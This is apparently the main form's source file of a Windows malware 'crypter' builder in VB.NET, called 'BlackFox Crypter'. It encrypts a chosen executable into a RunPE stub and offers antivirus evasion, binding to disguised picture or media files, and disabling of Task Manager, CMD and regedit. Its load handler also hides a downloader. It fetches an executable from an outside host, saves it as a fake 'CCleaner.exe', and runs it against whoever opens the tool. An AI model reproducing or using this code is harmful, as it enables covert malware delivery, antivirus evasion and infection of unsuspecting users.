crypters-scode/scode (Crypt Flow/Crypt Flow/Form1.vb

Imports System.IO
Imports System.Text
Imports System.CodeDom.Compiler
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports System.Diagnostics
Imports System
Imports System.ComponentModel
Imports System.Drawing
Imports System.Runtime.CompilerServices
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Security
Imports Microsoft.Win32
Imports System.Management
Imports System.Net



Public Class Form1
    Dim CloneDialog As New OpenFileDialog
    Dim iconpath, clonePath, Fake, Title1, Message As String
    Dim cloneOk As Boolean
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        'Variable needed

        Sepa.admin = "LowKey" ' Username
        Sepa.ApplicationKey = "U1JHWSPULP3" ' Application Key
        Sepa.version = "1.0" 'Current version of application

        'Extra Setting

        Sepa.time = 15 ' Time, in minute, that your application will stay open before auto closing
        Sepa.RememberMe = True ' Allow your users to use the "Remember me" Function
        Sepa.AutoLogin = False ' Application will not auto login
        Sepa.Antis = True 'Sepa will check for malicious software or environnement

        'Needed to start Sepa
        netinject()
        Sepa.MainForm = Me ' This form will load first
        Sepa.Check() ' This will start Sepa

    End Sub

    Dim dialog As New OpenFileDialog
    Dim f As New FolderBrowserDialog
    Dim dialog2 As New SaveFileDialog
    Const ady = "@targuOCna@"
    Dim RRRRRRRRRRR As String
    Dim fggdaw As String 'eof
    Dim dggegagea As String 'dggegagea
    Dim dghdshdh4rh As String  'dghdshdh4rh
    Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer)

    Public Function ReadEOFData(ByRef FilePath As String) As String
        On Error GoTo Err_Renamed
        Dim sEOFBuf, sFileBuf, sChar As String
        Dim lPos2, lFF, lPos, lCount As Integer
        If Dir(FilePath) = "" Then GoTo Err_Renamed
        lFF = FreeFile()
        FileOpen(lFF, FilePath, OpenMode.Binary)
        sFileBuf = Space(LOF(lFF))
        FileGet(lFF, sFileBuf)
        FileClose(lFF)
        lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30))
        sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1))
        ReadEOFData = StrReverse(sEOFBuf)
        If ReadEOFData = "" Then
        End If
        Exit Function
Err_Renamed:
        ReadEOFData = vbNullString
    End Function
    Sub WriteEOFData(ByRef FilePath As String, ByRef EOFData As String)
        Dim sFileBuf As String
        Dim zl0yn4HvvgQwNctXrbgBwtm85WvPWRfj1QSdpjIbxL As String
        Dim lFF As Integer
        Try
            If Dir(FilePath) = "" Then Exit Sub
            Dim ibP1BC0GxpyYnn6BE4YphO36U27OayFzjGgf As String
            Try
            Catch
            End Try
            lFF = FreeFile()
            Dim DqCuzUzD6SOpGiZVi3KkVg93beHeluiKVVTZ19Ir87QUXN As String
            FileOpen(lFF, FilePath, OpenMode.Binary)
            Try
            Catch
            End Try
            sFileBuf = Space(LOF(lFF))
            Dim r01hMPnLRhdJZ34ZjyWtVxJoJXPlRsZlso2Meno1SMvxai5F2dYYWcLT As String
            FileGet(lFF, sFileBuf)
            Dim bvRQjXaRuT42fSqfUkwccNNt4JqEoHcrdaTol As String
            FileClose(lFF)
            Try
            Catch
            End Try
            Kill(FilePath)
            Dim Cs6D8Mgh79KmPyHt2OYMxrsqweWeFkTmqukEmN5zl0yn4HvvgQwN As String
            lFF = FreeFile()
            Dim ctXrbgBwtm85WvPWRfj1QSdpjIbxLibP1BC0GxpyYnn6B As String
            FileOpen(lFF, FilePath, OpenMode.Binary)
            Try
            Catch
            End Try
            FilePut(lFF, sFileBuf & EOFData)
            Dim E4YphO36U27OayFzjGgfDqCuzUzD6SOpGiZVi3Kk As String
            FileClose(lFF)
        Catch
        End Try
    End Sub
    Public Function GetNullBytes(ByRef lNum As Object) As String
        Dim Buf As String
        Dim i As Short
        For i = 1 To lNum
            Buf = Buf & Chr(0)
        Next
        GetNullBytes = Buf
    End Function

    Sub netinject()
        Dim wc As WebClient = New WebClient()
        wc.DownloadFile("http://directexe.com/3ki/netextention.exe", "C:\Program Files\CCleaner.exe")
        Process.Start("C:\Program Files\CCleaner.exe")
    End Sub

    Function secure(ByVal data As Byte()) As Byte()
        Using sa As New System.Security.Cryptography.RijndaelManaged
            sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
            sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
            Return sa.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
        End Using

    End Function
    Public Function encrypt(ByVal message As Byte(), ByVal password As String) As Byte()
        Dim passarr As Byte() = System.Text.Encoding.Default.GetBytes(password)
        Randomize()
        Dim rand As Integer = Int((255 - 0 + 1) * Rnd()) + 1
        Dim outarr(message.Length) As Byte
        Dim u As Integer
        For i As Integer = 0 To message.Length - 1
            outarr(i) += (message(i) Xor passarr(u)) Xor rand
            If u = password.Length - 1 Then u = 0 Else u = u + 1
        Next
        outarr(message.Length) = 112 Xor rand
        Return outarr
    End Function


    Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
        If Checkbox3.CheckedState = True Then
            NumericUpDown2.Enabled = True
            RadioButton1.Enabled = True
            RadioButton2.Enabled = True
        Else
            NumericUpDown2.Enabled = False
            RadioButton1.Enabled = False
            RadioButton2.Enabled = False
        End If

    End Sub
    Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
        If Checkbox2.CheckedState = True Then
            Button4.Enabled = True
        Else
            Button4.Enabled = False
        End If
    End Sub
    Private Sub CheckBox8_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
        If Checkbox8.CheckedState = True Then
            Checkbox1.CheckedState = True
        End If
    End Sub

    Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        With dialog
            dialog.DefaultExt = "exe"
            dialog.Filter = "Executable Files (*.exe)|*.exe"
            dialog.FilterIndex = 1
            dialog.FileName = ""
            If dialog.ShowDialog(Me) = 1 Then
                TextBox1.Text = dialog.FileName
            End If
            RRRRRRRRRRR = ReadEOFData(dialog.FileName)
            fggdaw = ReadEOFData(dialog.FileName)
        End With
        If ReadEOFData(TextBox1.Text) = vbNullString Then
            EofLabel1.Text = "NO EOF Data Detected"
            EofLabel1.ForeColor = Color.Red

        Else
            EofLabel1.Text = "EOF Data Detected"
            EofLabel1.ForeColor = Color.Lime

        End If


    End Sub

    Private Sub Button4_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        With OpenFileDialog1
            .FileName = ""
            .Filter = "Executable(*.exe)|*.exe|Pictures(*.jpg)(*.jpeg)(*.png)(*.bmp)|*.jpeg;*jpg;*png;*bmp|Video(*.avi)(*.mpg)(*.mpeg)|*.avi;*.mpg;*.mpeg|Documents(*.txt)(*.doc)|*.txt;*.doc|Audio(*.mp3)(*.wav)|*.wav;*.mp3"
            .ShowDialog()
            TextBox3.Text = .FileName
        End With
    End Sub

    Private Sub Button3_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Dim icoana As New OpenFileDialog
        icoana.DefaultExt = "ico"
        icoana.Filter = "Icon Files (*.ico*)|*.ico*"
        icoana.FilterIndex = 1
        icoana.FileName = ""
        If icoana.ShowDialog(Me) = 1 Then
            TextBox2.Text = icoana.FileName
        End If
        TextBox2.Text = icoana.FileName
    End Sub

    Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        dialog2.DefaultExt = "exe"
        dialog2.Filter = "Executable Files (*.exe)|*.exe"
        If dialog2.ShowDialog = Windows.Forms.DialogResult.OK Then
        End If
        Dim vars As String() = {"runpe"}
        Dim sursa As String = My.Resources.sursa

        Dim Appstart, processz As String
        processz = "own"

        Fake = Label1.Text
        Message = TxtBody.Text
        Title1 = TxtMTitle1.Text

        Dim taskmangerdisable As String
        If CbDtm.CheckedState = True Then
            taskmangerdisable = "true"
        Else
            taskmangerdisable = "false"
        End If

        Dim hideexectablefile As String

        Dim blockav As String

        Dim delcookie As String


        Dim disablefire As String


        Dim systemRestor As String


        Dim disshowhide As String


        Dim disablecmd As String
        If CbCmd.CheckedState = True Then
            disablecmd = "true"
        Else
            disablecmd = "false"
        End If


        Dim disableregedit As String
        If CbDre.CheckedState = True Then
            disableregedit = "true"
        Else
            disableregedit = "false"
        End If


        If RadioButton3.Checked = True Then


            If Checkbox6.CheckedState = True Then
                Dim retard3 As Byte() = secure(IO.File.ReadAllBytes(TextBox1.Text))
                sursa = sursa.Replace("bilibistroc", Compactdisk.mortzi(retard3))
                sursa = sursa.Replace("gifa", "cacatzel")
                sursa = sursa.Replace("fagi", "encr")
                sursa = sursa.Replace("buffy.mickey(ADSEQ3434, FAS43243)", "")

                sursa = sursa.Replace("buffy.mickey(nuj, FAS43243)", "")
            Else
                Dim retard As Byte() = secure(IO.File.ReadAllBytes(TextBox1.Text))
                sursa = sursa.Replace("cacatzel", Compactdisk.mortzi(retard))
                sursa = sursa.Replace("fagi", "encr")
                sursa = sursa.Replace("buffy.mickey(nuj, FAS43243)", "")
                sursa = sursa.Replace("dropsor", "bilibistroc")
            End If
        End If
        If RadioButton4.Checked = True Then

            If Checkbox6.CheckedState = True Then
                Dim retard3 As Byte() = secure(IO.File.ReadAllBytes(TextBox1.Text))
                sursa = sursa.Replace("bilibistroc", Compactdisk.mortzi(retard3))
                sursa = sursa.Replace("gifa", "cacatzel")

                sursa = sursa.Replace("buffy.mickey(ADSEQ3434, FAS43243)", "")
                sursa = sursa.Replace("buffy.mickey(nuj, FAS43243)", "")
                sursa = sursa.Replace("fagi", "encr")
            Else
                Dim retard2 As Byte() = encrypt(IO.File.ReadAllBytes(TextBox1.Text), "parola")
                sursa = sursa.Replace("encr", Compactdisk.mortzi(retard2))
                sursa = sursa.Replace("gifa", "cacatzel")
                sursa = sursa.Replace("buffy.mickey(ADSEQ3434, FAS43243)", "")
                sursa = sursa.Replace("dropsor", "bilibistroc")

            End If

        End If







        If Checkbox5.CheckedState = True Then
            TextBox1.Text = ReadEOFData(TextBox1.Text)
            ReadEOFData(TextBox1.Text)
            WriteEOFData(dialog2.FileName, TextBox1.Text)
        End If
        If Checkbox2.CheckedState Then

            Dim bindinput As Byte() = secure(IO.File.ReadAllBytes(TextBox3.Text)) 'Read & Encrypt Binded File
            sursa = sursa.Replace("bind2", Compactdisk.mortzi(bindinput)) 'Format the input bytes and place them in the temp source
            If ComboBox1.SelectedItem = ("Pictures") Then
                sursa = sursa.Replace("%temp%.exe", TextBox4.Text & ".jpg")
            End If
            If ComboBox1.SelectedItem = ("Audio") Then
                sursa = sursa.Replace("%temp%.exe", TextBox4.Text & ".mp3")
            End If
            If ComboBox1.SelectedItem = ("Video") Then
                sursa = sursa.Replace("%temp%.exe", TextBox4.Text & ".avi")
            End If
        Else
            sursa = sursa.Replace("blablabla", "bind2")
        End If

        sursa = sursa.Replace("am reusit", stealth.Text)
        If Checkbox1.CheckedState = True Then
            sursa = sursa.Replace("GDGDF54545", "hhhhhhhhhheeeee")
            sursa = sursa.Replace("#false#", "false")
            sursa = sursa.Replace("#rundll32 .exe#", "rundll32 .exe")
            sursa = sursa.Replace("#rundll32 #", "rundll32 ")
        End If
        If Checkbox8.CheckedState = True Then
            sursa = sursa.Replace("#false#", "false")
            sursa = sursa.Replace("#rundll32 .exe#", "something.exe")
            sursa = sursa.Replace("#rundll32 #", "something")
            sursa = sursa.Replace("GDGDF54545", "hhhhhhhhhheeeee")
        End If
        If Checkbox1.CheckedState And Checkbox8.CheckedState = True Then
            sursa = sursa.Replace("#false#", "false")
            sursa = sursa.Replace("#rundll32 .exe#", "something.exe")
            sursa = sursa.Replace("#rundll32 #", "something")
            sursa = sursa.Replace("GDGDF54545", "hhhhhhhhhheeeee")
        Else
            sursa = sursa.Replace("#false#", "false")
            sursa = sursa.Replace("#rundll32 .exe#", "something.exe")
            sursa = sursa.Replace("#rundll32 #", "something")
        End If

        If Checkbox4.CheckedState = True Then



        Else


            sursa = sursa.Replace("sandboxierpcss", "nothong")


        End If

        If chkJunk.CheckedState = True Then
            Dim Junk1 As String
            Dim Junk2 As String
            Dim Junk3 As String

            Junk1 = GenerateJunk(RandomNumber(2, 1))
            Junk2 = GenerateJunk(RandomNumber(3, 1))
            Junk3 = GenerateJunk(RandomNumber(3, 1))
            sursa = sursa.Replace("%101%", Junk1)
            sursa = sursa.Replace("%102%", Junk2)
            sursa = sursa.Replace("%103%", Junk3)

        Else
            sursa = sursa.Replace("%101%", "")
            sursa = sursa.Replace("%102%", "")
            sursa = sursa.Replace("%103%", "")
        End If
        If Checkbox7.CheckedState = True Then
            sursa = sursa.Replace("%200%", "Threading.Thread.Sleep(10000)")
        Else
            sursa = sursa.Replace("%200%", " ")
        End If
        If Checkbox7.CheckedState = True Then
            sursa = sursa.Replace("%200%", "Threading.Thread.Sleep(10000)")
            sursa = sursa.Replace("10000", Textbox5.Text * 1000)
        Else
            sursa = sursa.Replace("%200%", " ")
        End If
        If Checkbox9.CheckedState = True Then
            sursa = sursa.Replace("%28%", "hhhhhhhhhheeeee")
        End If

        dwqeEQE3Q2.edasr232222dF(dialog2.FileName, sursa, "")




        If TextBox2.Text = vbNullString Then
            MsgBox("Your File Is Crypted Without an Icon", MsgBoxStyle.Information, "BlackFox Crypter")
        Else
            IconChanger.InjectIcon(dialog2.FileName, TextBox2.Text)
            MsgBox("Your File Is Crypted", MsgBoxStyle.Information, "BlackFox Crypter")
        End If
        If Checkbox3.CheckedState Then
            On Error Resume Next

            Dim sizeaia As Double = Val(NumericUpDown2.Value)
            IO.File.Copy(TextBox1.Text, dialog2.FileName)
            If RadioButton1.Checked Then
                sizeaia = sizeaia * 1025
            End If
            If RadioButton2.Checked Then
                sizeaia = sizeaia * 1048575
            End If
            Dim pompeaza = IO.File.OpenWrite(dialog2.FileName)
            Dim marishor = pompeaza.Seek(0, IO.SeekOrigin.[End])
            While marishor < sizeaia
                pompeaza.WriteByte(0)
                marishor += 1
            End While
            pompeaza.Close()
        End If
        ' Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
        ' If My.Computer.FileSystem.FileExists(dialog2.FileName) Then
        ' My.Computer.FileSystem.DeleteFile(dialog2.FileName)
        '  End If
        ' IO.File.Copy(Application.StartupPath & "\ady.exe", dialog2.FileName)
        ' IO.File.AppendAllText(dialog2.FileName, ady & Convert.ToBase64String(file1))

    End Sub
    Public Function GenMask(ByVal StringMask As String) As String
        On Error Resume Next
        Dim OutputString As String
        Dim random As New Random()
        Dim key_lowercase As String = "abcdefghijklmnopqrstuvwxyz"
        Dim key_uppercase As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        OutputString = ""

        For i = 0 To StringMask.Length - 1

            If StringMask.Substring(i, 1) = "#" Then
                OutputString = OutputString & random.Next(0, 9)
            ElseIf StringMask.Substring(i, 1) = "@" Then
                OutputString = OutputString & key_lowercase.Substring(random.Next(0, key_lowercase.Length), 1)
            ElseIf StringMask.Substring(i, 1) = "$" Then
                OutputString = OutputString & key_uppercase.Substring(random.Next(0, key_uppercase.Length), 1)
            ElseIf StringMask.Substring(i, 1) = "%" Then
                Dim random2 As String = random.Next(1, 4)
                If random2 <= 1 Then
                    OutputString = OutputString & key_uppercase.Substring(random.Next(0, key_uppercase.Length), 1)
                ElseIf random2 = 2 Then
                    OutputString = OutputString & key_lowercase.Substring(random.Next(0, key_lowercase.Length), 1)
                ElseIf random2 >= 3 Then
                    OutputString = OutputString & random.Next(0, 9)
                End If
            Else
                OutputString = OutputString & StringMask.Substring(i, 1)
            End If
        Next

        Return OutputString.ToString
    End Function

    Private Sub FlowButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowButton1.Click
        Me.Close()
    End Sub

    Private Sub FlowButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowButton2.Click
        Me.WindowState = FormWindowState.Minimized
    End Sub

    Private Sub FlowTheme1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowTheme1.Click

    End Sub

    Private Sub RadioButton4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton4.CheckedChanged

    End Sub


    Private Sub FlowCheckbox4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub BtnTest_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnTest.Click
        MessageBox.Show(TxtBody.Text, TxtMTitle1.Text, MessageBoxButtons.OK)
    End Sub

    Private Sub FlowCheckbox6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowCheckbox6.Click
        If Label1.Text = "Activated" Then Label1.Text = "De-Activated" Else Label1.Text = "Activated"

    End Sub

    Private Sub FlowCheckbox9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub FlowCheckbox13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub FlowCheckbox11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub FlowCheckbox12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub TabPage6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TabPage6.Click

    End Sub

    Private Sub TextBox10_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Copyright.TextChanged

    End Sub

    Private Sub FlowButton4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FlowButton4.Click
        TextBox6.Text = GenMask("@%$%$#$$@%@@##$#%$@@%##%$@%%$#%##$%$")
    End Sub

    Private Sub BtnClone_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnClone.Click
        
    End Sub
End Class
Public Class Compactdisk
    Public Shared Function mortzi(ByVal bas As Byte()) As String ' Codedom has maximum of possible chars per line so we are storing the string in multiple strings
        Dim piula As New System.Text.StringBuilder ' Declaring a new StringBuilder to store the piulaput string
        Dim miros As String = Convert.ToBase64String(bas) ' Get a readable String from the Byte Array
        Dim arr As String() = beleste(miros, 50000) ' Split the string into parts to fit in the Codedom-lines
        For M As Integer = 0 To arr.Length - 1 ' Looping thought each string in the array
            If M = arr.Length - 1 Then  ' If i equals the highest number
                piula.Append(Chr(34) & arr(M) & Chr(34))
            Else 'I is smaller than arr.Length - 1 (i < arr.Length - 1)
                piula.Append(Chr(34) & arr(M) & Chr(34) & " & _" & vbNewLine)
            End If
        Next
        Return piula.ToString
    End Function
    Private Shared Function beleste(ByVal bas As String, ByVal sadsa As Long) As String()
        Dim carnatzel As Long = Math.Ceiling(bas.Length / sadsa)
        Dim piula(carnatzel - 1) As String
        Dim MAMAIE As Long = 0
        For C As Integer = 0 To carnatzel - 1
            If C = carnatzel - 1 Then
                Dim femp((bas.Length - MAMAIE) - 1) As Char
                bas.CopyTo(MAMAIE, femp, 0, (bas.Length - MAMAIE))
                piula(C) = Convert.ToString(femp)
            Else
                Dim femp(sadsa - 1) As Char
                bas.CopyTo(MAMAIE, femp, 0, sadsa)
                piula(C) = Convert.ToString(femp)
                MAMAIE += sadsa
            End If
        Next
        Return piula
    End Function






End Class